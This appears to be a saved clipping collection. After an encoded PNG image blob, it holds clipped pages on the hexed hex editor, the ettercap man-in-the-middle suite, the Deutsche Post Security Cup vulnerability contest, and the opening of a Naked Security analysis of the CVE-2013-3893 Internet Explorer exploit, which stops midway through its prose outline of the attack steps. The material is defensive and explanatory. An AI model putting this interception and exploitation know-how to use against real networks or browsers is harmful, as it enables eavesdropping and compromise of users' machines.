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  image/png
1275 218
https://lh3.googleusercontent.com/vf0pdsIUG5Azr9t7TByX43e8f3Aa4u22zEKnnH9t1vn5xNNCGLs2R7YcgR7-\_8Pn8esHP\_1zXvG-z23gR7RHK-\_9hXFo3xHsePholAH1rP35Uez6eN10iE\_bosOfbOMtHNrVhLXU4qKRAHvir89OZLw1P1OljXHuRjCtmGNLO0hPHeT9bU2bzD-
DVckc61wzYVbFPP9gyuVoR4y9jGHX-
mrHomBTfH4YrGFCQPQrkDnEt0H63RmScvn52wHVy6GKPY0fc145O1XLskkedY\_bqk\_GMXm7DxKeFuHA4\_5LXGLxRL2uJhVXXnnnpijGZyeq5RG0XvooHgZs7xp8LGLXeFKAmb56Yu5mC00aq7AwQgZXtc6Zqa00I-quQNZeDM21DcbItnKQGvxPtW73qyoPH5ey4FJT8ZM-5AAYku3qiKJkrvILgrd5Yx83aqDAPndNELx9H5tj5UHJ\_Zmq8rczUr3IKMC0LZA-
KCJlrXhbHQFU7tjqWxNgK-
YoxLchv4R2NpaOpelSIuxt9vFKXlFmpBzAGVCilPy8Km2aX3lAqEo5K79obgHqLZt\_xzL-A-
SyuxhDkFP50SOvbVtCseFruoMxWtpBAOM=w1275-h218-no
vf0pdsIUG5Azr9t7TByX43e8f3Aa4u22zEKnnH9t1vn5xNNCGLs2R7YcgR7-\_8Pn8esHP\_1zXvG-z23gR7RHK-\_9hXFo3xHsePholAH1rP35Uez6eN10iE\_bosOfbOMtHNrVhLXU4qKRAHvir89OZLw1P1OljXHuRjCtmGNLO0hPHeT9bU2bzD-
DVckc61wzYVbFPP9gyuVoR4y9jGHX-
mrHomBTfH4YrGFCQPQrkDnEt0H63RmScvn52wHVy6GKPY0fc145O1XLskkedY\_bqk\_GMXm7DxKeFuHA4\_5LXGLxRL2uJhVXXnnnpijGZyeq5RG0XvooHgZs7xp8LGLXeFKAmb56Yu5mC00aq7AwQgZXtc6Zqa00I-quQNZeDM21DcbItnKQGvxPtW73qyoPH5ey4FJT8ZM-5AAYku3qiKJkrvILgrd5Yx83aqDAPndNELx9H5tj5UHJ\_Zmq8rczUr3IKMC0LZA-
KCJlrXhbHQFU7tjqWxNgK-
YoxLchv4R2NpaOpelSIuxt9vFKXlFmpBzAGVCilPy8Km2aX3lAqEo5K79obgHqLZt\_xzL-A-
SyuxhDkFP50SOvbVtCseFruoMxWtpBAOM=w1275-h218-no.png

# samizzo/hexed

**Created:**| _7/17/2017 11:22:53 AM_  
---|---  
**Updated:**| _7/17/2017 11:22:53 AM_  
**Author:**| __  
**Tags:**| __  
  

  

Windows console-based hex editor

  

# ettercap

**Created:**| _12/12/2011 9:17:02 PM_  
---|---  
**Updated:**| _12/12/2011 9:17:02 PM_  
**Author:**| __  
**Tags:**| _security tools network-security_  
  
0.7.4-Lazarus RELEASED\!\!  
"Children are made to let them go their own way, while you look at them happy,
spying how it will end."  
This is exactly how I feel right now. The project was born when we were at the
University, it grew up for 5 years and then it was put on hold. The job and
the family had not left enough free time to code like in the past. Now it's
time to let it go and grow in the hands of someone else looking at what it
will become. It's time to pass the baton. I'm sure new the developer team will
keep up the project and will let it become something bigger than what it's
now. The todo i've seen is great, lot of new feature are coming out, stay
tuned...  
-Alor & Naga-  
  
"And when he thus had spoken, he cried with a loud voice, Lazarus, come forth.
And he that was dead came forth"  
  
---  
  
**Short Description:**|  Ettercap is a suite for man in the middle attacks on
LAN. It features sniffing of live connections, content filtering on the fly
and many other interesting tricks.  
It supports active and passive dissection of many protocols \(even ciphered
ones\) and includes many feature for network and host analysis.  
  
  
---|---  
**Interface:**|  All this feature are integrated with a easy-to-use and
pleasureful ncurses/gtk interfaces. \(see _screenshots_\)  
**Platform:**|  Linux 2.0.x  
Linux 2.2.x  
Linux 2.4.x  
Linux 2.6.x| FreeBSD <= 8.2  
OpenBSD 2.\[789\] 3.x  
NetBSD 1.5| Mac OS X \(Snow Leopard & Lion\)  
Windows XP/2003/Win 7  
Solaris 11  
  
**Required Libraries:**|  libpcap >= 0.8.1  
libnet >= 1.1.2.1  
libpthread  
zlib  
  
**Optional Libraries:**|  To enable plugins: libltdl \(part of libtool\)  
To have perl regexp in the filters: libpcre  
To support SSH and SSL decryption: openssl 0.9.7  
For the cursed GUI: ncurses >= 5.3  
For the GTK+ GUI: pkgconfig >= 0.15.0 and:  
\- Glib >= 2.4.x  
\- Gtk+ >= 2.4.x  
\- Atk >= 1.6.x  
\- Pango >= 1.4.x  
If you want SSH1 and/or HTTPS support, ettercap requires _OpenSSL libraries_  
**Installation:**|

  * ettercap 0.6.x is deprecated; please upgrade to 0.7.x
  * Binaries are not officially provided or supported - you have to compile it yourself \(which can be tricky under Windows\) or find a third-party binary provider. The developers are unlikely to be swayed on this.
  * Before installation, please ensure you have the correct versions of the above listed libraries. For the best experience you should have them all. Out-of-date or missing libraries are the most common reason for failure.
  * You need to read the documentation in the tgz before and after running ./configure; make; make install.
  * The command-line switches and the etter.conf have changed from 0.6.x to 0.7. You should read and edit the etter.conf to suit.
  * For HTTPS support you need to uncomment the right 'redir' command in etter.conf.
  * In short, read the docs, read the man pages, read the _FAQ_, read the _forums_, and then ask questions. ;\)

  
**Running Ettercap:**|

  * You need to select a user interface \(no default\) using -T for Text only, -C for the Ncurses based GUI, or -G for the nice GTK2 interface \(thanks Daten...\).

# Deutsche Post | Security Cup
**Created:**| _9/10/2010 9:53:06 AM_  
---|---  
**Updated:**| _9/10/2010 9:53:06 AM_  
**Author:**| _wishi_  
**Tags:**| _LOLZ_  
  

# The E-Postbrief \(online letter\) introduces Deutsche Post's core product to
the Internet

<img src='img/campaign_225.jpg' width='225' height='131' />

With the _E-POSTBRIEF_ , Deutsche Post replicates its demanding quality
standards in the electronic world, offering binding electronic written
communication to the public, companies, and to organizations. It builds the
bridge between the online and offline world, and by providing the highest
level of technical and physical security, sets itself apart from electronic
communication media as we know it. The _E-POSTBRIEF_ allows companies and
organizations to map their processes electronically, thereby helping them to
optimize internal and external communication processes.

You want to know who you are communicating with.

    
With the _E-POSTBRIEF_ , the sender and recipient are in no doubt who they are
communicating with. To achieve this level of certainty, the identity of all
users is checked via the official identification process on initial
registration based on an ID card or passport.

You want your digital letters to remain confidential.

    
The _E-POSTBRIEF_ system uses state-of-the-art encryption technology. Your _E-
POSTBRIEFS_ are encrypted as they pass through electronic channels leaving you
safe in the knowledge that your correspondence cannot be viewed or changed by
unauthorized third parties.

You want to be sure that your letters have arrived.

    
As is the case in our physical network, we oversee the shipment and safe
delivery of your _E-POSTBRIEF_. And of course, you can also send your _E-
POSTBRIEF_ as electronic registered mail.

And should the recipient not yet have an _E-POSTBRIEF_ mailing address,
Deutsche Post will print the letter out, and send it as regular mail.

## To embrace the expertise of the IT security community and to raise the
security level of the E-Postbrief the Deutsche Post Security Cup was launched

### Goal and scope of the contest

<img src='img/stoerer_application_185.gif' width='190' height='80' />

The contest's goal is to find vulnerabilities in the E-Postbrief Web
application. To achieve best customer protection, Deutsche Post will not work
against, but pro-actively with the security community. The Deutsche Post
Security Cup is the opportunity to contribute to a secure new postal system.
Successful participants are rewarded for reported bugs by prize money and an
award ceremony.

**Scope of the Security Cup**

  * Application
  * Standard software
  * Operating systems
  * Servers
  * Network infrastructure

**Out of scope**

  * Client systems
  * Operational processes

### Bug search

Each participating team receives a starting price of 3,000 Euros. The teams
work with the live system using their own tools and methods. When bugs are
found these will be reported to the contest committee.

## Prizes are awarded by an independent Jury consisting of honorable members
of the IT security community

Major bugs are awarded with EUR 5,000 \(USD 6,500\), normal bugs are awarded
with EUR 1,000 \(USD 1,300\). An independent jury classifies reported bugs to
maintain the independence and fairness of the Security Cup. The jurors are:

  * Jennifer Granick-Electronic Frontier Foundation
  * Harald Welte-gpl-violations.org, open source developer
  * Prof. David Evans-University of Virginia
  * Prof. Thorsten Holz-German Honeynet Project, Ruhr-Uni Bochum  

**Teams agree to not touch private data and to delay public bug disclosure
until after contest**

  * Private user data must not be touched
  * Bugs are reported only to jury; no publication without approval
  * Each team creates a final report

## The contest starts in October 2010. Teams have 2 months to find
vulnerabilities

## Timeline

Sign up phase \(until end of September\)

    
  * Teams send in applications
  * Are approved by organizing committee

Contest \(October - November\)

    
  * Teams receive contest accounts for E-Postbrief
  * They report bugs to contest and must not report them elsewhere until end of contest

Award ceremony \(December\)

    
  * Prizes are awarded
  * Patched bugs are disclosed together with teams

## Join now\! Become a security champion for the E-Postbrief\!

## Team registration opens on August 9

  * The results of your team will contribute to the disruptive and sustainable transformation of postal communication
  * Teams apply by providing team setup, motivation letter and references

  
Request contest terms and application form now: <img
src='img/pfeil_rechts_bold.gif' />securitycup@deutschepost.de

## Further Information

See our flyer for more information.

**more**

# Anatomy of an exploit – inside the CVE-2013-3893 Internet Explorer zero-day – Part 1 | Naked Security
**Created:**| _10/11/2013 12:34:02 PM_  
---|---  
**Updated:**| _10/11/2013 12:35:28 PM_  
**Author:**| __  
**Tags:**| _windows environment browser_  
  

# Anatomy of an exploit - inside the CVE-2013-3893 Internet Explorer zero-day
- Part 1

by Paul Ducklin on October 11, 2013|1 Comment  

Filed Under: Featured, Internet Explorer, Malware, Microsoft, Vulnerability

<img src='img/Temp2_758.png' width='170' height='170' />As you are probably
aware, Microsoft's October 2013 Patch Tuesday includes an update for Internet
Explorer that closes no fewer than ten RCEs, or Remote Code Execution holes.

This sort of vulnerability means that merely looking at a booby-trapped web
page could infect you with malware, even if you don't click on anything on the
page.

Unfortunately, an exploit that takes advantage of one those ten holes,
CVE-2013-3893, is known to be in the wild.

Cybercriminals have been using it; a proof-of-concept HTML page has been
published that you can tweak for your own attacks; and the popular penetration
tool Metasploit now includes it.

So rather than just leave you to apply the patch and be done with it, we
thought we'd look at this exploit in some detail.

We hope that this will help you understand the lengths that cybercriminals
will go to in order to attack your computer, despite the layers of protection
that modern versions of Windows and Internet Explorer include.

Don't worry if you aren't technical: we've tried to keep the assembler code
and the programming jargon to a minimum.

Just glide over anything you don't understand and get a feeling for how
cyberattackers think - "know thine enemy" is a handy part of any defence.

And, no, we haven't given away so much that you can turn this article into an
attack of your own: it's an explanatory guide, not a how-to tutorial.

#### The core of the hole

Our attackers will be exploiting a bug in Internet Explorer's mouse capture
functionality.

In JavaScript, an object on an Internet Explorer web page can take or
relinquish control over the mouse events that happen in the brower window,
such as clicking and double-clicking.

This is done using the functions `setCapture()` and `releaseCapture()`.

An object can also declare an `onclosecapture` function, which will
automatically be called if ever it loses control of the mouse, for example
because another object calls setCapture\(\) to take over.

<img src='img/Temp2_752.png' width='500' height='59' />

Our attackers seem to have discovered that these functions can be used to
trick Internet Explorer, by orchestrating an unusual sequence of operations,
something like this:

  * \[1\] Create 10,000 items in the current web page, giving each one a title string of "3333....3333".
  * \[2\] Free the memory of the last 5000 items by setting the title back to a blank string.
  * \[3\] Create two more items, making one the parent of the other.
  * \[4\] Set an `onclosecapture` event for the child item, in which 10,000 more items entitled "3333....3333" will be created.
